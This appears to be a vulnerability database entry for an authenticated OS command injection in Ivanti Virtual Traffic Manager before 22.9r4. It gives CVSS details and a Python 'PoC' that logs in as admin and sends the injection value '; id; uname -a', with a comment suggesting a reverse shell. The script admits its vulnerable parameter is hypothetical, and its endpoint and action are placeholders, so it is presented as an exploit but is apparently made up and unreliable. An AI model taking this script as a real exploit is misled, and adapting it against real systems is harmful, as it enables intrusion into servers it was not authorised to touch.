OS command injection in Ivanti Virtual Traffic Manager before version 22.9r4 allows a remote authenticated attacker with admin privileges to achieve remote code execution.
CVSS Details
CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Ivanti Virtual Traffic Manager < 22.9r4
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_url = "https://<vtm-host>:9070/api/status"
username = "admin"
password = "password"
# Authentication session
session = requests.Session()
login_payload = {"username": username, "password": password}
session.post("https://<vtm-host>:9070/api/login", json=login_payload, verify=False)
# Malicious payload to inject OS command (e.g., ping back or reverse shell)
# The vulnerable parameter is hypothetical based on the description
injection_payload = "; id; uname -a"
# Exploit request
headers = {"Content-Type": "application/json"}
data = {
"action": "some_action",
"param": injection_payload # Injecting command here
}
response = session.post(target_url, json=data, headers=headers, verify=False)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Check for command execution output in response.")
print(response.text)
else:
print("[-] Failed to send request.")